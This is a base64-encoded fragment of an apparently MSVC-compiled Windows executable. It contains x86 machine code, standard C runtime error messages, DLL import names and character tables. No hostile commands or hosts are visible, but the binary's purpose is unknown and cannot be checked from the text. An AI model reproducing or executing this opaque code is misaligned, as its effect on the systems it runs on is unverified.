6AEIAABZO8N0CccA3d0AAIPACIvYhdt0aY0EP1BqAFPoXI///4PEDFdT/3UQ/3UMagH/dRj/1oXAdBH/dRRQU/91CP8VLOFAAIlF+FPoyPr//4tF+FnrdTP2OV0cdQiLB4tAFIlFHDldGHUIiweLQASJRRj/dRzopBQAAFmD+P91BDPA60c7RRh0HlNTjU0QUf91DFD/dRjozBQAAIvwg8QYO/N03Il1DP91FP91EP91DP91CP91HP8VKOFAAIv4O/N0B1borJr//1mLx41l7F9eW4tN/DPN6GRj///Jw4v/VYvsg+wQ/3UIjU3w6Fh0////dSSNTfD/dSD/dRz/dRj/dRT/dRD/dQzoFv7//4PEHIB9/AB0B4tN+INhcP3Jw4v/VYvsVot1CIX2D4SBAQAA/3YE6Dya////dgjoNJr///92DOgsmv///3YQ6CSa////dhToHJr///92GOgUmv///zboDZr///92IOgFmv///3Yk6P2Z////dijo9Zn///92LOjtmf///3Yw6OWZ////djTo3Zn///92HOjVmf///3Y46M2Z////djzoxZn//4PEQP92QOi6mf///3ZE6LKZ////dkjoqpn///92TOiimf///3ZQ6JqZ////dlTokpn///92WOiKmf///3Zc6IKZ////dmDoepn///92ZOhymf///3Zo6GqZ////dmzoYpn///92cOhamf///3Z06FKZ////dnjoSpn///92fOhCmf//g8RA/7aAAAAA6DSZ////toQAAADoKZn///+2iAAAAOgemf///7aMAAAA6BOZ////tpAAAADoCJn///+2lAAAAOj9mP///7aYAAAA6PKY////tpwAAADo55j///+2oAAAAOjcmP///7akAAAA6NGY////tqgAAADoxpj//4PELF5dw4v/VYvsVot1CIX2dDWLBjsFeB5BAHQHUOijmP//WYtGBDsFfB5BAHQHUOiRmP//WYt2CDs1gB5BAHQHVuh/mP//WV5dw4v/VYvsVot1CIX2dH6LRgw7BYQeQQB0B1DoXZj//1mLRhA7BYgeQQB0B1DoS5j//1mLRhQ7BYweQQB0B1DoOZj//1mLRhg7BZAeQQB0B1DoJ5j//1mLRhw7BZQeQQB0B1DoFZj//1mLRiA7BZgeQQB0B1DoA5j//1mLdiQ7NZweQQB0B1bo8Zf/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AHJ1bnRpbWUgZXJyb3IgAAANCgAAVExPU1MgZXJyb3INCgAAAFNJTkcgZXJyb3INCgAAAABET01BSU4gZXJyb3INCgAAUjYwMzQNCkFuIGFwcGxpY2F0aW9uIGhhcyBtYWRlIGFuIGF0dGVtcHQgdG8gbG9hZCB0aGUgQyBydW50aW1lIGxpYnJhcnkgaW5jb3JyZWN0bHkuClBsZWFzZSBjb250YWN0IHRoZSBhcHBsaWNhdGlvbidzIHN1cHBvcnQgdGVhbSBmb3IgbW9yZSBpbmZvcm1hdGlvbi4NCgAAAAAAAFI2MDMzDQotIEF0dGVtcHQgdG8gdXNlIE1TSUwgY29kZSBmcm9tIHRoaXMgYXNzZW1ibHkgZHVyaW5nIG5hdGl2ZSBjb2RlIGluaXRpYWxpemF0aW9uClRoaXMgaW5kaWNhdGVzIGEgYnVnIGluIHlvdXIgYXBwbGljYXRpb24uIEl0IGlzIG1vc3QgbGlrZWx5IHRoZSByZXN1bHQgb2YgY2FsbGluZyBhbiBNU0lMLWNvbXBpbGVkICgvY2xyKSBmdW5jdGlvbiBmcm9tIGEgbmF0aXZlIGNvbnN0cnVjdG9yIG9yIGZyb20gRGxsTWFpbi4NCgAAUjYwMzINCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgbG9jYWxlIGluZm9ybWF0aW9uDQoAAAAAAABSNjAzMQ0KLSBBdHRlbXB0IHRvIGluaXRpYWxpemUgdGhlIENSVCBtb3JlIHRoYW4gb25jZS4KVGhpcyBpbmRpY2F0ZXMgYSBidWcgaW4geW91ciBhcHBsaWNhdGlvbi4NCgAAUjYwMzANCi0gQ1JUIG5vdCBpbml0aWFsaXplZA0KAABSNjAyOA0KLSB1bmFibGUgdG8gaW5pdGlhbGl6ZSBoZWFwDQoAAAAAUjYwMjcNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgbG93aW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNg0KLSBub3QgZW5vdWdoIHNwYWNlIGZvciBzdGRpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI1DQotIHB1cmUgdmlydHVhbCBmdW5jdGlvbiBjYWxsDQoAAABSNjAyNA0KLSBub3QgZW5vdWdoIHNwYWNlIGZvciBfb25leGl0L2F0ZXhpdCB0YWJsZQ0KAAAAAFI2MDE5DQotIHVuYWJsZSB0byBvcGVuIGNvbnNvbGUgZGV2aWNlDQoAAAAAUjYwMTgNCi0gdW5leHBlY3RlZCBoZWFwIGVycm9yDQoAAAAAUjYwMTcNCi0gdW5leHBlY3RlZCBtdWx0aXRocmVhZCBsb2NrIGVycm9yDQoAAAAAUjYwMTYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgdGhyZWFkIGRhdGENCgANClRoaXMgYXBwbGljYXRpb24gaGFzIHJlcXVlc3RlZCB0aGUgUnVudGltZSB0byB0ZXJtaW5hdGUgaXQgaW4gYW4gdW51c3VhbCB3YXkuClBsZWFzZSBjb250YWN0IHRoZSBhcHBsaWNhdGlvbidzIHN1cHBvcnQgdGVhbSBmb3IgbW9yZSBpbmZvcm1hdGlvbi4NCgAAAFI2MDA5DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGVudmlyb25tZW50DQoAUjYwMDgNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgYXJndW1lbnRzDQoAAABSNjAwMg0KLSBmbG9hdGluZyBwb2ludCBzdXBwb3J0IG5vdCBsb2FkZWQNCgAAAABNaWNyb3NvZnQgVmlzdWFsIEMrKyBSdW50aW1lIExpYnJhcnkAAAAACgoAAC4uLgA8cHJvZ3JhbSBuYW1lIHVua25vd24+AABSdW50aW1lIEVycm9yIQoKUHJvZ3JhbTogAAAAAAAAAAUAAMALAAAAAAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAAAAAAAI0AAMAIAAAAAAAAAI4AAMAIAAAAAAAAAI8AAMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEAAMAIAAAAAAAAAJIAAMAIAAAAAAAAAJMAAMAIAAAAAAAAAEVuY29kZVBvaW50ZXIAAABLAEUAUgBOAEUATAAzADIALgBEAEwATAAAAAAARGVjb2RlUG9pbnRlcgAAAEZsc0ZyZWUARmxzU2V0VmFsdWUARmxzR2V0VmFsdWUARmxzQWxsb2MAAAAAAQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRobHB0eHyAhIiMkJSYnKCkqKywtLi8wMTIzNDU2Nzg5Ojs8PT4/QEFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaW1xdXl9gYWJj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